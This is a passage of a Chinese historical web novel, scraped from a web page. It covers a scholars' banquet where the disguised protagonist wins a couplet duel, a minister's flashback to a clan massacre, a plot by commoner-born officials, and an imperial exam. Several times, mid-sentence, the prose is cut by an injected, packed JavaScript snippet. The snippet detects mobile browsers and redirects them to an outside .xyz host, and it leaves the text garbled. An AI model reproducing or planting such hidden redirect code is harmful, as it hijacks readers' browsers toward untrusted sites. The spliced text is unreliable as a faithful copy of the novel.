“在下陈琬,见过崔兄。”陈襄见礼道。 “陈琬……”崔谌低声重复着这个名字,片刻后,眼中闪过一丝讶异,“兄台可是出自颍川陈氏?” 此言一出,众人看向陈襄的目光里顿时发生了变化。 颍川陈氏,那是何等显赫的门楣,从前更是出现了武安侯这等人物。但是现今…… 在这些形形色色的目光之下,陈襄并未直接回答,只淡淡道:“在下祖籍确为颍川。但现今不过一介白衣罢了。” 这就像是一种默认。崔谌目光变幻。 “陈兄年纪轻轻,便有如此见地,实在令人钦佩。” 他再次开口,语气带着一丝试探:“方才陈兄所言‘为臣者,在其位,谋其政。若不能,便让贤’,可谓是振聋发聩。” “只是治国之道,千头万绪,盘根错节,牵一发而动全身。若仅仅纸上谈兵,未免失之偏颇。不知陈兄可有更具体的见解?” 陈襄此次上前,原是为杜衡解围。顺便直抒胸臆了一番。 但在这庭广众之下,对方心生不甘地逼问,他当然也不会畏惧退缩。 “治国之道,确如崔兄所言千头万绪。但万变不离其宗,皆在于‘民’字。”陈襄道。 “水能载舟,亦能覆舟。民心所向,社稷方能稳固。为政者,当以民为本,察民情,解民忧,方能长治久安。” “以民为本……”崔谌咀嚼着这四个字,神色变幻莫测。 围在周围的众人,无论是世家子弟还是寒门士子,都不敢说话,默默给陈襄和崔谌两人空出一个小圈子,一个个都屏住呼吸。 “天灾人祸,世事无常。若遇饥荒之年,民不聊生,又当如何?”崔谌再次发难,“难道亦要苛责为政者‘不能’、‘不让’?” 饥荒之年,乃是天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647341|172757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灾,非人力可抗。以此诘问,便可轻易将对方逼入进退维谷的境地。 然而,陈襄却神色自若,反唇相讥:“天灾固然难避,然天灾之祸,往往并非全然不可控。” 他的语调带着一种洞察世事的锐利:“仓廪是否充盈?赈灾是否及时?官吏是否贪墨?政令是否得当?诸多环节,皆可人为。” “若能防患于未然,未雨绸缪,即便天灾降临,亦可将损失降至最低。” “若真至‘饿殍遍野’之时……那便不仅仅是天灾之过,更是人祸之咎!” 阳光之下,陈襄的眉眼熠熠生辉。 抛出的难题再次被人轻描淡写地化解,崔谌的脸色终于变得有些难看。 “陈兄高论,在下佩服!” 崔谌深吸一口气,握着扇子的手用力,语气生硬中带着一丝恼怒的意味:“圣人有:天意难测,民意如流水。若为政者,殚精竭虑,却仍不能尽如人意,反遭民怨沸腾,又当如何?!” “——崔公子慎言!” 还未待陈襄及围观众人仔细思考,一道声音忽然从人群外传来,如惊雷般。 “为政者当以民意为重,不可倒行逆施!你岂能断章取义,以此诘难他人?” 人群自动分开。 几位身穿官袍的翰林院学士走了过来,为首一人正是方才于庭中品茶的张学士。 翰林学士,乃是天子近臣,掌管文翰,地位尊崇。 张学士的声音不高,却威严沉稳,仿佛一盆冷水,瞬间浇熄了场中那点刚刚燃起的火药味。 他目光如炬,直直地落在崔谌身上。那眼神锐利而冰冷,似是在警告什么。 崔谌面色一白,当即躬身行礼:“学生与陈兄论学,一时情急,言语不妥。还望张士大人恕罪!” 张学士冷哼一声,并未立刻叫起。那道沉凝的目光在崔谌身上停留了片刻,又看向陈襄。 陈襄全无忌惮,面无异色地任对方审视。 就在这气氛凝滞之时,旁边同来的李学士却笑着上前一步。 “好了好了,”脸上带着温和的笑意让崔谌起身,打圆场道,“今日是文会雅集,以文会友,切磋学问本是常事,偶有言语激昂之处,亦在情理之中。崔公子也是少年意气,张学士便莫要再苛责了。” 他又转向众人,朗声道:“时辰也不早了,宴席已经备好,诸位,请移步入席罢!” 张学士看了李学士一眼,面色稍霁,不再言语,只是拂了拂袖,当先朝着宴饮的方向走去。其他人也纷纷跟上。 崔谌直起身,目光看向陈襄,深深地看了他一眼,然后才甩袖离去,跟上众人。 杜衡终于从人群中挤出来,凑到陈襄身边。 “我看崔谌此人临走时眼神不甘。” 杜衡脸上写满了担忧:“对方若不善罢甘休,恐怕要在文会上为难与你。陈兄可要先行离去?” 陈襄正心中思索着刚刚张学士的态度,被杜衡打断,抬眼看他。 见杜衡一脸担忧,他拍了拍对方的肩膀:“无事的。今日之事,不过就事论事,阐述己见罢了。” 虽然方才那场激烈的交锋在不少人心中留下了印记,但于他来说却算不上什么,压根不放在心上。 杜衡见此,只化作一声轻叹:“既如此,文会之上,陈兄万事小心。” “嗯嗯。”陈襄随意回答,抬手示意了一下宴席的方向,“好了,我们也入席罢。莫要让其余人久等了。” 两人并肩而行,向宴席方向走去。 14. 第 14 章 宴席设在临水的水榭之中,四面敞开,桌案上的酒水瓜果等物都已经备好。 仲春之月,羞以含桃。陈襄便见桌案上不仅有着冬季窖藏的 梨、柿干 或蜜渍果脯等物,还有新鲜的樱桃和柑橘。 他眼前一亮。 不愧是朝廷出资举办,大手笔。要知道,柑橘樱桃这些水果都生在江东、岭南,在北方都是贵族专享,普通人家根本吃不到。 陈襄彻底将刚才的那些小插曲扔到脑后,愉快地拿起一只柑橘破开。 众人依礼入座,主宾谦让。初时还算拘谨,然酒过三巡,气氛便渐渐热络起来。 有人提议行酒令助兴。 此乃文会雅集的惯例,既能展现才学,又不失趣味,众人纷纷附和。 行的是简单的“一问一答”令,由令官起头,抽签择人发问,再抽签择人作答,答不上或答错者罚酒。 题目多取自经史子集、或当下时兴的诗词歌赋,颇为风雅。 令官是位年岁稍长的翰林编修,捻着胡须,笑呵呵地抽出一支竹签:“有请,翰林学士,王大人发问。” 被点到的王学士略一思忖,看向抽中答题的另一位年轻士子,扬声道:“《论语》有云:‘譬如为山,未成一篑,止,吾止也。’请问此句何解?” 那年轻士子略显紧张,定了定神,才答道:“回王大人,此句意为,譬如堆山,只差一筐土便能完成,倘若此时停下,那便是自己停下的。” “其意在告诫为吾等:行事当持之以恒,善始善终,不可功亏一篑,为山九仞,只争此篑。” “善!”王学士抚掌赞许,令官亦点头示意通过。 如此一问一答,行过几轮,席间气氛愈发活跃,才思敏捷者对答如流,引来阵阵喝彩;偶有应对稍迟或不够精妙者,亦引来善意的哄笑,自罚一杯了事。 杜衡也被抽中一次,答了一道关于《诗经》的问题,中规中矩,顺利过关。 轮到一名颇有些名气的士子被抽中出题,他大约是饮得多了些,面色酡红,眼神却亮,站起身来环视一圈,朗声道:“方才诸位所论,皆是圣人经典、先贤诗词。在下今日,想引一句‘近贤’之言,以为题目。” 众人皆好奇,不知他指的“近贤”是何人。 那士子顿了顿,声音里带着一丝难以言喻的复杂情绪,似敬畏,似感叹,又似有几分忌惮:“‘以杀止杀,以战止戈。’此言,诸位以为如何?” 此言一出,水榭内原本喧闹的气氛骤然一静。 以杀止杀,以战止戈。 这八个字仿佛带着某种魔力,让在场所有人的动作都顿住了。 觥筹交错声、谈笑声、甚至连远处的丝竹声,似乎都在这一刻被无形的手扼住。 武安侯,陈襄! 虽然这个名字并未被直接提及,但几乎所有人都在瞬间想到了那个人。 那个权倾朝野、以铁血手段平定天下,最终却落得兔死狗烹、声名狼藉的人物。 ——这句话正是出自对方之口。 席间众人神色各异。年长者或面露沉思,或微微蹙眉;年轻士子们则多是表情复杂,有不屑,有畏惧,也有茫然。 令官的面色也有些为难,看了看上首的几位翰林学士。 张学士面色看不出喜怒,李学士则依旧挂着温和的笑,只是那笑意未达眼底。 那出题的士子但说出口,也意识到自己孟浪了,酒意醒了大半,讪讪道:“若、若此题不妥,在下便换一个……” “无妨。”李学士适时开口,声音温润,打破了僵局,“武安侯虽行事酷烈,然其言论,亦有可取之处。既是行令,便依规矩来罢。下一位,该谁作答?” 令官如蒙大赦,忙拿起签筒摇了摇,抽出一支,高声念道:“请,崔谌崔公子,应答!” 崔谌! 众人的目光一下子聚焦到崔谌身上。 崔谌站起身,整理了一下衣袍,先是朝着李学士和张学士的方向略一拱手,随即目光扫过全场,最后落在那出题的士子身上:“武安侯此言,杀伐之气过重,虽有‘不得已’之说,然终非为政之正道。” “孔曰成仁,孟曰取义,圣人教化,首重仁德。若以此言为题,未免有悖圣贤之教。” 不少人暗暗点头,觉得崔谌此言虽傲,却也持重。 令官宣布过关,崔谌道:“下一题,便由在下出罢?下一位答题者是谁?” 听到此话,令官依言又抽出一签,看向签上的名字,微微一怔。 “请,陈琬陈公子,作答!” 崔谌先是一愣,面上浮现出意外之色,然后便目光灼灼地看向了陈襄,脸上带着志在必得的微笑。 这下,所有人都来了精神。 方才两人论学不欢而散,此刻行酒令竟然狭路相逢。 杜衡的心一下子提起。他担忧地看向陈襄,用眼神示意他小心。 陈襄放下了手中的柑橘,面色不变。他桌上已堆满了柑橘皮。 崔谌清咳一声,朗声道:“陈兄方才高论,言辞犀利,想必学问也是极好的。在下不才,近日读《劝学篇》,偶得一句,颇有感触,想请陈兄赐教。” 他刻意停顿了一下,确保所有人的注意力都在他身上:“‘锲而舍之,朽木不折;锲而不舍,金石可镂。’此句乃荀子之言,劝勉世人治学当持之以恒。” “在下不才,想请陈兄以此句为上联,对出下联。下联亦需与治学相关,且意境、格律相当。” 话音落下,席间响起一阵低低的议论声。 对对子,本是文人雅士常见的文字游戏,但崔谌出的这一句,却颇有些讲究。 “锲而舍之,朽木不折;锲而不舍,金石可镂”,此句出自《荀子·劝学》,本就是流传甚广的名句,本身对仗工整,含义深刻。 要对出一个意境相当、格律严谨且同样关于治学的下联,并非易事。 更何况,这还是在众目睽睽之下的即兴应对。 崔谌显然是有意让陈襄当众出丑。他神定气闲,好整以暇地看着陈襄。 杜衡眉头紧蹙,心中思虑,却无法在短时间内答出此题。 此人果然有意报复,用心险恶! 陈襄叹了一口气。 方才那句“以杀止杀,以战止戈”,触动了他的心弦。 他目光平静地掠过崔谌那张充满挑衅的脸,又淡淡扫视了一圈席间或好奇、或探究、或幸灾乐祸的众人。 他本无意出风头,但总有人将他推到风口浪尖。 也罢。 “崔公子此题,出得不错。”陈襄缓缓起身,开口说道。 他的声音清越,不高不低,却清晰地传入了每个人的耳中,瞬间压下了所有议论之声。 但说完此句,他便闭口不言,仿佛在组织语言,又仿佛词穷。 崔谌嘴角的笑意更深,认为对方答不上来,只是在拖延时间。 就在众人以为他还要思索片刻时,陈襄却再次开口。 “书山有路勤为径。” 短短七个字,如清泉流石,洗练干净。众人微微一怔,细细品味。 只这一句话,便显露出了其人深厚的文学功底。席间不少人眼睛一亮。 然而,陈襄并未停下。 他的目光望着远处,语调平缓,却带着一种不容置疑的力量。 “学海无涯苦作舟。” 书山有路勤为径,学海无涯苦作舟! 当最后这七个字轻轻落下,整个水榭都陷入了寂静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李学士也从震惊中回过神来,脸上重新挂上了笑容,走到陈襄面前,举起酒杯,笑道:“陈公子大才,李某敬你一杯。 陈襄举杯回敬:“李学士客气。” 没人还在意崔谌。 只有陈襄饮完一杯酒,转过头:“崔公子,承让了。” “……” 崔谌面目扭曲,恶狠狠地一甩袖子,重新坐下。 …… 宴会结束后,回到会馆,杜衡依旧兴奋不已:“陈兄,你那句对子真是太精彩了。明日整个长安城中都会传遍陈兄的名字!” 果不其然。 正如杜衡所说,宴会结束后第二天,“书山有路勤为径,学海无涯苦作舟”这十四个字,连同郑公的称赞,便和陈襄的名字一同传了出去。 这十四个字,仿佛带着某种魔力,浅显直白得连不识字的孩童都能听懂,却又蕴含着足以让皓首穷经的老儒生击节赞叹的深邃哲理。 从贩夫走卒到文人墨客,几乎无人不知,无人不晓。 这番席卷长安的声势,自然也引起了不少有心人的注视。 长安城,永和坊。 此处多是朝中官员的府邸。高门宅邸鳞次栉比,安静肃穆。 其中的一处宅院。书房内。 一名身着官袍的中年男子,正躬身立在书案前,神色间带着几分恭谨,又有几分欲言又止。 “钟大人,那陈琬……” 端坐在书案后的主位之人放下手中的书简,掀起眼帘。 15. 第 15 章 书房内,气氛沉凝。 高大的书架倚墙而立,密密匝匝地排满了各色卷轴典籍。 空气中弥漫着一股混合了陈年纸张、松烟墨锭以及淡淡檀香的气息,闻之令人心神安定,却也无端生出几分敬畏。 寻常书房多悬字画,但此间却别具一格。 正对着大门的素白墙面上,只孤零零悬挂着一柄寒光凛冽的宝剑。 端坐在书案后之人,正式当今的礼部尚书,钟氏家主,钟隽。 他穿着一身颜色深重的曲裾深衣,面料厚重,垂感极佳,广袖逶迤,一丝不苟。 即便是身处府内书房,此次又为私下见面,衣着也无半分懈怠,每一丝褶皱都像是用尺子量过一般,服帖而规整。 其人威仪端庄,面如冠玉,鼻梁高挺,唇线分明。眉宇间因惯常紧蹙,而形成一道浅浅的竖纹。 那一双凤眼极为漂亮,优美的弧度本该是风流蕴藉,却因其主的冷然神情而显得锐利逼人,带着一种不容置疑的威严,令人不敢轻易与之对视。 他的长发以玉冠束起,整整齐齐,无一根乱发。 “那陈琬,好似是颍川陈氏之人……” 那官员知晓陈襄与钟家的仇恨,并不想在钟隽面前提及此事,但又不得不硬着头皮汇报。 他低着头,不敢抬头看钟隽的面色。 “叔秀前几日和我说起,”钟隽将手中的书简放到桌案上,“他在城外剿匪时,碰见一位来京城赶考的陈姓士子。想必就是此人。” 钟隽面色平静,好似并未因对方的话语而产生什么情绪波动。 “不过是文人墨客间的消遣,博得些许虚名罢了,无甚影响。”他的声音低沉平稳。 “不必理会。” 听到这四个字,官员如蒙大赦,低头称是,躬身深深一揖,而后脚步匆匆地退了出去。 书房的门被无声地合拢,隔绝了外界的一切声响,只余下那独特的、混合了书卷、墨锭与檀香的气息,依旧沉静地萦绕。 钟隽的目光落回到桌案上摊开的书简之上。 那上面的字迹飘逸潇洒,又带着几分无法忽视的锐意逼人。其间书写的经略构想,更是带着一股开山裂石的气魄。 这是武安侯陈襄,昔年呈递的奏章。 陈家人…… 钟隽俊美的面容沉沉,目光从书简上移开,又落在墙壁上悬挂的那柄宝剑上。 宝剑的剑身在窗外透入的光线下,反射着幽冷的光泽。 这柄剑,是他曾经的佩剑。 曾饮过他,和陈襄的血。 陈襄。 陈孟琢。 钟隽无声念着这个名字,每一个字都像是裹挟着铁锈与血腥气,从喉咙深处艰难地滚过,带来一阵尖锐的刺痛。 他的指尖微微颤抖,不受控制地悄然抚上自己的脖颈。 那被层叠的高领布料遮挡的严严实实的皮肤之上,有一道狰狞的疤痕。 钟隽的眼前一阵恍惚,记忆又回到了当年。 兵马撞开钟府的大门,凄厉的哭喊与甲胄碰撞、兵刃出鞘的冰冷声响交织成网,将百年望族的颍川钟氏牢牢困锁在其中。 祠堂中,他狼狈地跪坐在冰冷的地面上,像个脆弱的稚童,在那道迎面走来的身影面前显得如此可笑、不堪一击。 陈襄穿着一身戎装,黑色的发高高束成马尾,甲胄上沾染着未干的泥泞与血污,就这样逆着光,走进钟氏祠堂。 对方在森然林立的、钟家列祖列宗的牌位的注视之下,步伐沉稳,不疾不徐地走到他的面前站定。投下的阴影将他完全笼罩。 然后,钟隽便听到了那道冷静得近乎残酷的声音。 “降,还是死?” 那道声音穿透了喧嚣与混乱,清晰地落入他的耳中。那一瞬间,钟隽浑身的血液似乎都凝固了。 他该选择“降”的。 忍一时之辱,保全家族,以图将来。这是最理智,也是唯一的选择。钟氏百年的基业,无数族人的性命,都系于他一念之间! 可是,当他抬起头,对上陈襄那双居高临下的眼眸。 ——那双漆黑的眼睛里没有任何情绪,没有鄙夷,没有怜悯,甚至没有胜利者的得意,只有一片深不见底的沉静冰冷,仿佛钟隽,连同整个钟家,都不过是路边微不足道的尘埃。 即使他就跪在在对方面前,那双眼睛里也没有映出任何人的身影。 凭什么? 凭什么?!! 难以遏制的情绪轰然冲垮了钟隽的理智,他猛地拔出身侧的佩剑,毫不犹豫地朝着自己的脖颈抹去。 他选择死! 然而,一道身影更快。 陈襄几乎是在发现他动作的瞬间便赫然伸手,紧紧地攥住了剑刃。 锋利的剑刃堪堪划破钟隽颈侧的皮肤,留下一道长长的血口,未能深入。 但,为了阻止钟隽这饱含决绝的一剑,陈襄用的力道之大,让剑刃在他的右手划开了深深的伤口。 鲜血瞬间涌出,顺着明亮的剑刃流下。 有钟隽的,也有陈襄的。 两人的鲜血混合在一起,滴落到冰冷的地面上。 钟隽双手颤抖,松开了剑柄。 陈襄却没有松手。他握着剑刃,好似没有痛觉一般,将那柄沾染了鲜血的佩剑用力扔向远处,“当啷”一声。 佩剑掉落在地。 钟隽面色惨白。他的目光不受控制地看向陈襄鲜血淋漓的右手上,喉中挤出干涩的声音:“你……” 陈襄却没有看向钟隽,也没有低头看一眼自己手掌上那道深可见骨的伤口。 他面色冰冷地转头,看向守在祠堂门口的士兵:“清点好了么?都带过来。” 钟隽还未反应过来对方话语中的意思,就见那士兵跑了出去。 很快,众多沉重的脚步声响起。 钟家的族人,无论老幼妇孺,一个个被士兵粗暴地推搡着,押进了祠堂。 他们咒骂着,哭喊着,哀求着,惊恐万状。 刚才跑出去的士兵回来了:“军师!一共一百二十八个人,都在这里了!” ——整整一百二十八个钟氏族人,如同待宰的羔羊,跪满了整个祠堂。 其中一位华服老者目眦欲裂,对着陈襄高声叱吼:“陈襄!你这个竖子!悖逆无道!你竟然敢对我钟氏动手!你——” 陈襄面无表情地伸手,指向对方。 “杀。” 命令下达,一旁的士兵当即动手,刀光一闪,血光迸溅。 骂声戛然而止。 一颗狰狞的人头滚落在地。 祠堂内瞬间死寂。只剩下压抑的啜泣和倒抽冷气的声音。 “选择‘死’,是罢?” 陈襄的目光终于落到了面无人色、浑身剧烈颤抖的钟隽身上。 “——你还能再选一百二十七次。”他声音缓缓道。 钟隽的眼前弥漫上一层浓烈的血色。 陈孟琢!陈孟琢!!! 喉咙里涌上了一口鲜血。他豁然起身,身上佩戴的玉饰与桌案撞击,发出一阵“叮叮当当”的响声。 他这才猛然从回忆中脱离。 眼前哪里有什么祠堂、血泊与陈襄。 他依旧在自己的书房当中,窗明几净,书墨飘香。 但陈襄那道平静的声音仍然回荡在钟隽的脑海当中,他的鼻尖依然萦绕着那日的血腥味。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647343|172757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 钟隽的额角渗出细密的冷汗,剧烈地喘息着。他死死咬着牙关,牙龈几乎要被咬出血来,身体微微颤抖。 他终究是选了“降”。 随着这个字一同脱离出口的,还有他毕生积攒的所有气力。他昔日的高傲与自尊,如同被丢弃到泥水里的华美锦缎,污浊不堪,碎裂一地。 那日的记忆在他脑海中反复扭曲、变形,甚至他无法清晰地回忆起自己是如何卑微地匍匐在地,露出怎样的崩溃丑态。 唯一能记住的,唯有陈襄的那双眼睛。 高高在上,俯瞰蝼蚁,没有半分波澜与怜悯,比祠堂的地面更冰冷,比染血的剑刃更锋利,让他泣血涟如、支离破碎。 自那以后,陈襄便成了他挥之不去的梦魇。 族人的哭嚎、士兵的呵斥、利刃入肉的闷响、鲜血喷溅的腥甜……然后一切扭曲模糊,化作那一双漆黑的眼眸,冷冷地注视他在血泊与绝望中沉沦。 钟隽无数次在深夜惊醒,冷汗浸透了中衣,心脏像是被一只无形的手死死攥住,连每一次呼吸都带着撕裂般的痛楚。 黑暗中,他大口喘息,却仿佛溺水之人,无论如何挣扎,都吸不进半点救命的空气。 脖颈上的那道伤痕,起初并不算深。 太医开了上好的金疮药,叮嘱好生将养,不日便可愈合如初,不留半点痕迹。 可它却永远无法愈合。 因为每当梦魇惊醒,钟隽便会将伤口处的那层薄痂撕开,皮肉绽裂,血珠渗出。 只有这样尖锐的、持续不断的疼痛,才能让他从那无边无际的梦魇中暂时清醒。 他近乎自虐般地重复着这个动作,不知持续了多久。 直到最后,那道伤口终于放弃了愈合的努力,留下了一道淡粉色的疤痕。 ——如同烙印一般,永久地刻在了他的脖颈上。 这道疤痕终其一生无法磨灭,就像他对陈襄的恨意一般。 恨陈襄背叛士族,与寒门为伍,颠覆了千年来的秩序;恨陈襄视人命如草芥,谈笑间便以屠戮他钟氏满门为威胁,逼他做出抉择;恨陈襄将他的自尊、他的骄傲、他所珍视的一切,都毫不留情地打碎,再狠狠踏上一脚。 ……最恨的,是那双眼睛。 钟隽的手死死叩住桌案,指节因为过度用力而泛出青白色。他猛地抓起桌案上的书简,用力一扔,将其狠狠地砸入一旁的铜制火盆当中。 “呼——” 火苗瞬间窜起,舔舐干燥的竹片。 火光跳跃。钟隽沉着脸,面色不明地看着竹简在火焰中噼啪作响,化为焦黑的灰烬。 他的手无意识地碰到了腰间悬挂的玉佩。冰凉的触感让他清醒过来。 ——那个人,已经死了。 钟隽失魂落魄、脱力般地重新跌坐回座椅。 他的面色有一瞬间茫然,用右手紧紧握住了那枚冰冷的玉佩,胸腔中翻腾激荡的情绪渐渐平复下来。 钟隽整理了一下方才因动作过大而略显凌乱的衣襟和袖口。 而后,他看了一眼空空如也的桌面,重新站起身,从书架上取下一卷崭新的空白书卷。 墨锭在砚台上旋转,乌黑的墨汁渐渐浓稠,散发出清雅的墨香。他选了一支上好的狼毫笔,饱蘸浓墨,提笔书写。 钟隽悬空的手腕稳如磐石,书写的动作行云流水。笔尖游走,墨迹流淌,纸上的字迹铁画银钩。 他默写出的,正是方才被他亲手投入火盆、烧成灰烬的那卷书简上的内容。 钟隽眉间紧绷,凤目沉沉。 他会将陈孟琢那些离经叛道的思想,那些动摇国本的政策,彻底否定、推翻! 他会彻彻底底地赢过对方! 16. 第 16 章 另一边。 永和坊深处的一处宅邸之内,同样有人在讨论昨日那场文会。 但他们讨论的却并非陈襄。 “呵,那群所谓的世家子,不过是仗着祖荫,吟些风花雪月的无病呻吟罢了!” 几名身着官袍的寒门官员聚集在一起,一人嗤笑:“崔家那个崔谌,若非他姓崔,那些阿谀奉承之辈,谁会捧他的臭脚?” “此次在文会上原形毕露,真是令人笑掉大牙!” “可不是么?”另一人接过话头,眉宇间带着几分压抑不住的亢奋和鄙夷,“还有王家的那个小子,诗写得狗屁不通,全靠一两家学卖弄。” “这次文会上,还不是被咱们的人暗中比下去了?只是碍着他们家势大,无人当面戳穿罢了。” “一群蛀虫!盘踞朝堂,吸食民脂民膏,还偏要摆出一副高傲模样,当真令人作呕!” 几名寒门官员口中对士族子弟的嘲讽与批判,尖锐而不屑,仿佛要将积压多年的愤懑与不甘,都倾吐出来。 一人忿忿开口:“若非陈……” “——够了。” 一道声音响起,原本喧闹的几人如同被掐住了脖颈的鸡,霎时噤声。 他们一个个垂首敛目,正襟危坐,方才眉飞色舞的神态荡然无存,只剩下满室的噤若寒蝉。 坐在上首主位之人抬起了头。 屋外日光挪移,正照在对方的脸上。 那是一张极为美丽的脸。细眉杏目,肤如凝脂,唇若红蕊,姿容明艳绝美。 若非对方喉间的喉结,与那穿着的紫色官服、金玉带銙,光看这张雌雄莫辨的脸,几乎要让人错认作哪家养在深闺的绝色女子。 然而,当那双漂亮的杏眼扫视过来时,却带着一种冰冷的、淬了毒般的寒意,让在座的几位在官场上摸爬滚打多年的寒门官员,都无端地感到一阵脊背发凉。 乔真,乔子生。 如今的兵部尚书。寒门官员中隐然的领袖。 乔真垂眼,长长的睫毛投下一小片阴影,开口道:“证据收集得怎么样了?” 下手处,离他最近的一名官员连忙起身,躬着身子,态度恭敬得近乎卑微:“回乔大人,已经全部收集妥当了。” “按照您的吩咐,绝无走漏半点风声。那些人至今仍被蒙在鼓里,以为一切太平。” 那人顿了顿,而后语气中透出一丝难以抑制的兴奋:“只等此次会试放榜,新科进士名单尘埃落定之后,便可立刻发难!” “好!” 乔真唇畔勾起一抹冷笑。他抬起眼帘,本是柔美的杏眼中寒光凛冽,让人不敢直视。 他要亲手撕下那些士族光鲜亮丽的皮。让他们也尝尝身败名裂、跌落尘埃的滋味! …… 陈襄也对自己的名声大噪有所耳闻。 各式各样的请帖如同雪片般飞入会馆。烫金的、洒银的、素雅的、华贵的,无不透着主人的身份与意图。有真心仰慕他才学的鸿儒,有好奇他背景的世家子弟。 自然也少不了暗处那些试图拉拢、试探的人马。 面对这汹涌而来的热情,陈襄却表现得异常平静。他待在会馆里,除了必要的走动,几乎足不出户。 那些帖子,他都只略略看过落款,然后便将其堆在一旁。 “陈兄,这些帖子……当真一概不理?”杜衡看着桌上堆积如山的请柬,有些犹豫。 陈襄道:“眼下科举在即,分心无益。待尘埃落定,再做计较不迟。” 谁知道这里面有多少是真心赏识,又有多少是包藏祸心? 那日在文会之上出尽风头,只是顺势而为。但他名噪一时,那对陈家有恶意的幕后之人不可能毫无察觉。 ——他虽不惧对方,但也不会妄自尊大,失去警惕。 如今他在明,对方在暗。但他只要以不变应万变,不离开会馆,对方想要对他做什么也都要更费周章。 他现下的目标是安安稳稳地完成科举,自然不会莽撞。 然而直到会试的前一天晚上,陈襄也并未见到什么可疑之人,一切照常。这叫他心生疑惑。 对方既然能将陈家连根拔起,对陈家的恨意绝非寻常。 他在长安城中此招摇,按理说对方早就该出手了,或是打压,或是直接灭口,怎么会如此风平浪静? 难道对方觉得他区区一个白身士子,根本不值得费心? 还是说,要在最关键的时候给他致命一击……比如,阻挠他的科举? 陈襄的眸色沉了下来。 看来此次科举,他要更加谨慎了。 …… 会试当日。 天还未亮透,通往贡院的几条主街便已是人头攒动。无数身着青衫的学子,怀揣着各自的期盼与忐忑,汇聚而来。 空气中弥漫着一种难以言喻的紧张气息。既有十年寒窗苦读的沉重,也有对未来平步青云的憧憬。 贡院门前排起了长龙。守卫的兵士甲胄鲜明,面容肃穆,严阵以待。 入院的检查极为严格,谓之“搜身”。学子们需解开衣袍,连发髻、鞋袜都要仔细查验,以防夹带任何纸张或与考试相关的物件。 轮到陈襄时,他从容地配合着兵士的检查。 对方检查得格外仔细,甚至连他腰间系着的那枚普通的玉佩都捏了捏,确认只是寻常饰物后才放行。 通过搜身,进入贡院内,首先映入眼帘的是一座供奉着文昌帝君的神龛。香火缭绕,庄严肃穆。 所有入院的学子,无论心中是否真的信奉,都会在此驻足,恭恭敬敬地行礼,祈求神明庇佑,文思泉涌,金榜题名。 陈襄也随大流,上前拜了三拜。 拜过文昌帝君,便有吏员引导着学子们前往各自的号舍。一排排狭窄的隔间,仅能容身,条件简陋。陈襄找到自己的位置,安顿下来。 整副过程顺利得有些出乎意料。 陈襄心中的疑虑更加挥之不去。 没有暗杀,没有栽赃,甚至连科举入场这最容易动手脚的环节,都平静得像一潭死水。 就像是在这长安城当中,根本没有人在意他这个陈家遗孤一样。 这怎么可能? 种种猜测在陈襄脑海中翻飞。这种未知带来的悬空感,比明确的危险更让人心头烦躁。 “铛——” 一声清越的钟鸣响彻贡院,宣告着考试正式开始。 原本还有些窸窣声响的号舍区瞬间安静下来,只剩下笔墨纸砚碰撞的细微声音。 吏员开始分发试卷。厚厚的一沓宣纸,带着墨香,依次传递到每个号舍。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647344|172757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陈襄接过试卷,入手微沉。他呼出一口气,将那些纷乱的思绪压下,沉下心应对此次考试。 四周一片寂静,唯有笔尖划过纸张的沙沙声,如同春蚕食叶,细密而连绵。 陈襄左手持笔,提笔蘸墨。 前面的是经义和数算。 数算是他当初力排众议,坚持将其纳入科举当中的。 面对经义,陈襄善用系统资料库。面对将无数学子折磨的死去活来的数算,他笔下未有半分迟滞,一气呵成。 不过两刻钟,前面两大部分试题已然完成。 陈襄轻轻吹了吹墨迹未干的答卷,将其挪到一旁晾着,然后便翻开了策论的答卷。 策论共有五题,内容涉及当朝时政、律法修订、农桑水利、边防军务,乃至民生教化。这才是真正的重头戏。 陈襄的目光看向第一题,心中盘算。他需要一个足够亮眼的成绩,确保自己能榜上有名。但又不能过于锋芒毕露,尤其是不要露出“武安侯”的影子。 与他而言,也并不难。 很快,前三题答毕。 当目光落在第四题上时,陈襄执笔的手一顿。 那题目赫然引用了他当年策论中的一句话。 怎么会? 会试的题目由主考官所出,本次会试的主考官可是钟隽。 对方与他有深仇大恨,极为厌恶他的政策,怎会去翻阅他当年的策论,又怎么可能将其中的语句列为会试的题目呢? 